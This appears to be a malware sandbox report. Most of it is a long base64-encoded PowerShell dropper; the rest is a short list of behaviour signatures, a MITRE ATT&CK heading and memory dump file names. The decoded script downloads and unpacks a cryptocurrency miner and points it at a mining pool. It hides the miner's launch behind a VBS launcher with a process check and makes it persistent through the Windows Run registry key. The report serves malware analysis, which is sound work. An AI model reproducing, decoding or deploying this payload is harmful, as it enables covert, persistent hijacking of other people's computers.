QAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABkAGUAcwB0ACAALQBGAG8AcgBjAGUAIAB8ACAATQBlAGEAcwB1AHIAZQAtAE8AYgBqAGUAYwB0ACkALgBDAG8AdQBuAHQAIAAtAGcAdAAgADAAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAAyADAAMAAKACAAIAAgACAAfQAKAH0ACgAKAEEAcwBzAGUAcgB0AC0AUwB0AGEAcgB0AHUAcABFAG4AYQBiAGwAZQBkACAALQBSAHUAbgBOAGEAbQBlACAAJABBAHAAcABOAGEAbQBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKAAoAJAByAHUAbgBuAGkAbgBnACAAIAAgAD0AIABUAGUAcwB0AC0AQQBwAHAAUgB1AG4AbgBpAG4AZwAgAC0AUAByAG8AYwBOAGEAbQBlACAAJABBAHAAcABOAGEAbQBlAAoAJABlAHgAZQBFAHgAaQBzAHQAcwAgAD0AIABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABFAHgAZQBQAGEAdABoAAoACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGUAeABlAEUAeABpAHMAdABzACAALQBhAG4AZAAgAC0AbgBvAHQAIAAkAHIAdQBuAG4AaQBuAGcAKQAgAHsACgAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAKQAgAHsACgAgACAAIAAgACAAIAAgACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFIAZQBhAGQAbQBlAFAAYQB0AGgAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAWgBpAHAAUABhAHQAaAAgACAAIAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAnAGcAdQBhAHIAZAAuAHYAYgBzACcAKQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsACgAgACAAIAAgACAAIAAgACAATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAtAEYAbwByAGMAZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgAH0ACgAKACAAIAAgACAARwBlAHQALQBGAGkAbABlAFcAaQB0AGgARgBhAGwAbABiAGEAYwBrACAALQBVAHIAbAAgACQAVQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAFoAaQBwAFAAYQB0AGgACgAgACAAIAAgAEUAeABwAGEAbgBkAC0AWgBpAHAAVwBpAHQAaABGAGEAbABsAGIAYQBjAGsAIAAtAFAAYQB0AGgAIAAkAFoAaQBwAFAAYQB0AGgAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAAJABUAGEAcgBnAGUAdABEAGkAcgAKAAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFIAZQBhAGQAbQBlAFAAYQB0AGgAKQAgAHsACgAgACAAIAAgACAAIAAgACAATQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAUgBlAGEAZABtAGUAUABhAHQAaAAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJABFAHgAZQBQAGEAdABoACAALQBGAG8AcgBjAGUACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewAKACAAIAAgACAAIAAgACAAIAB0AGgAcgBvAHcAIAAiAHIAZQBhAGQAbQBlAC4AbQBkACAAbQBpAHMAcwBpAG4AZwAgAGkAbgAgAHoAaQBwACIACgAgACAAIAAgAH0ACgAKACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABmACAAaQBuACAAQAAoACQAWgBpAHAAUABhAHQAaAAsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAnAFMAdABhAHIAdAAuAGIAYQB0ACcAKQAsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAnAFMAdABhAHIAdAAtAFEAdQBhAG4AdAB1AHMALgBiAGEAdAAnACkAKQApACAAewAKACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAZgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAB9AAoAfQAKAAoAJABtAGkAbgBlAHIAQwBtAGQAVgBiAHMAIAA9ACAAJwAiACIAJwAgACsAIAAkAEUAeABlAFAAYQB0AGgAIAArACAAJwAiACIAIAAtAC0AdQByAGwAIAAnACAAKwAgACQAUwB0AHIAYQB0AHUAbQBVAHIAbAAgACsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAnACAALQAtAHUAcwBlAHIAIAAnACAAKwAgACQAVQBzAGUAcgBBAHIAZwAKAAoAJABzAHQAYQByAHQAVgBiAHMAIAA9ACAAQAAiAAoARABpAG0AIABzAGgALAAgAGEAcABwACwAIAByAHUAbgBLAGUAeQAsACAAcgB1AG4AVgBhAGwACgBEAGkAbQAgAHcAbQBpACwAIABwAHIAbwBjAHMALAAgAGYAbwB1AG4AZAAsACAAcAAKAGEAcABwACAAPQAgACIAJABBAHAAcABOAGEAbQBlACIACgByAHUAbgBLAGUAeQAgAD0AIAAiAEgASwBDAFUAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAiAAoAUwBlAHQAIABzAGgAIAA9ACAAQwByAGUAYQB0AGUATwBiAGoAZQBjAHQAKAAiAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAIgApAAoATwBuACAARQByAHIAbwByACAAUgBlAHMAdQBtAGUAIABOAGUAeAB0AAoAcgB1AG4AVgBhAGwAIAA9ACAAcwBoAC4AUgBlAGcAUgBlAGEAZAAoAHIAdQBuAEsAZQB5ACAAJgAgACIAXAAiACAAJgAgAGEAcABwACkACgBPAG4AIABFAHIAcgBvAHIAIABHAG8AVABvACAAMAAKAEkAZgAgAEwAZQBuACgAcgB1AG4AVgBhAGwAKQAgAD0AIAAwACAAVABoAGUAbgAgAFcAUwBjAHIAaQBwAHQALgBRAHUAaQB0ACAAMAAKAFMAZQB0ACAAdwBtAGkAIAA9ACAARwBlAHQATwBiAGoAZQBjAHQAKAAiAHcAaQBuAG0AZwBtAHQAcwA6AFwAXAAuAFwAcgBvAG8AdABcAGMAaQBtAHYAMgAiACkACgBTAGUAdAAgAHAAcgBvAGMAcwAgAD0AIAB3AG0AaQAuAEUAeABlAGMAUQB1AGUAcgB5ACgAIgBTAEUATABFAEMAVAAgAE4AYQBtAGUAIABGAFIATwBNACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAgAFcASABFAFIARQAgAE4AYQBtAGUAPQAnACIAIAAmACAAYQBwAHAAIAAmACAAIgAuAGUAeABlACcAIgApAAoAZgBvAHUAbgBkACAAPQAgAEYAYQBsAHMAZQAKAEYAbwByACAARQBhAGMAaAAgAHAAIABJAG4AIABwAHIAbwBjAHMACgAgACAAIAAgAGYAbwB1AG4AZAAgAD0AIABUAHIAdQBlAAoATgBlAHgAdAAKAEkAZgAgAE4AbwB0ACAAZgBvAHUAbgBkACAAVABoAGUAbgAKACAAIAAgACAAcwBoAC4AQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgAD0AIAAiACQAVABhAHIAZwBlAHQARABpAHIAIgAKACAAIAAgACAAcwBoAC4AUgB1AG4AIAAiACQAbQBpAG4AZQByAEMAbQBkAFYAYgBzACIALAAgADAALAAgAEYAYQBsAHMAZQAKAEUAbgBkACAASQBmAAoAIgBAAAoAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAFQAZQB4AHQAKAAkAFYAYgBzAFAAYQB0AGgALAAgACQAcwB0AGEAcgB0AFYAYgBzACwAIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlACkACgAKACQAcgB1AG4AVgBhAGwAdQBlACAAPQAgACcAdwBzAGMAcgBpAHAAdAAuAGUAeABlACAAIgAnACAAKwAgACQAVgBiAHMAUABhAHQAaAAgACsAIAAnACIAJwAKAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAFIAdQBuAEsAZQB5ACkAKQAgAHsAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAFIAdQBuAEsAZQB5ACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsACAAfQAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAFIAdQBuAEsAZQB5ACAALQBOAGEAbQBlACAAJABBAHAAcABOAGEAbQBlACAALQBWAGEAbAB1AGUAIAAkAHIAdQBuAFYAYQBsAHUAZQAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKAAoAQQBzAHMAZQByAHQALQBTAHQAYQByAHQAdQBwAEUAbgBhAGIAbABlAGQAIAAtAFIAdQBuAE4AYQBtAGUAIAAkAEEAcABwAE4AYQBtAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoACgBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFYAYgBzAFAAYQB0AGgAKQAgAHsACgAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAEMAbwBtAG0AYQBuAGQARQB4AGkAcwB0AHMAIAAnAHcAcwBjAHIAaQBwAHQALgBlAHgAZQAnACkAIAB7ACAAdwBzAGMAcgBpAHAAdAAuAGUAeABlACAAJABWAGIAcwBQAGEAdABoACAAfQAgAGUAbABzAGUAIAB7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABWAGIAcwBQAGEAdABoACAAfQAKAH0A3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
__PSScriptPolicyTest_hrquy2pz.fhs.psm1
memory/472-29-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/472-32-0x0000021C20770000-0x0000021C20794000-memory.dmp
memory/472-44-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/472-43-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/472-42-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/472-40-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/472-39-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/472-33-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/472-31-0x0000021C20770000-0x0000021C2079A000-memory.dmp
memory/472-27-0x0000021C202D0000-0x0000021C202EE000-memory.dmp
memory/472-30-0x0000021C202F0000-0x0000021C202FA000-memory.dmp
memory/472-16-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/472-17-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/472-18-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/472-19-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/472-20-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/472-22-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/472-21-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/472-28-0x0000021C20560000-0x0000021C20612000-memory.dmp
memory/472-24-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/5188-5-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/5188-3-0x00000180FC490000-0x00000180FC4B2000-memory.dmp
memory/5188-15-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/5188-4-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/5188-12-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/5188-0-0x00007FFFED53F000-0x00007FFFED540000-memory.dmp
memory/5188-10-0x00000180FCB50000-0x00000180FCD12000-memory.dmp
memory/5188-35-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/5188-23-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/5188-38-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/5188-11-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/5188-9-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/5188-8-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/5188-41-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/5188-7-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp
memory/5188-6-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp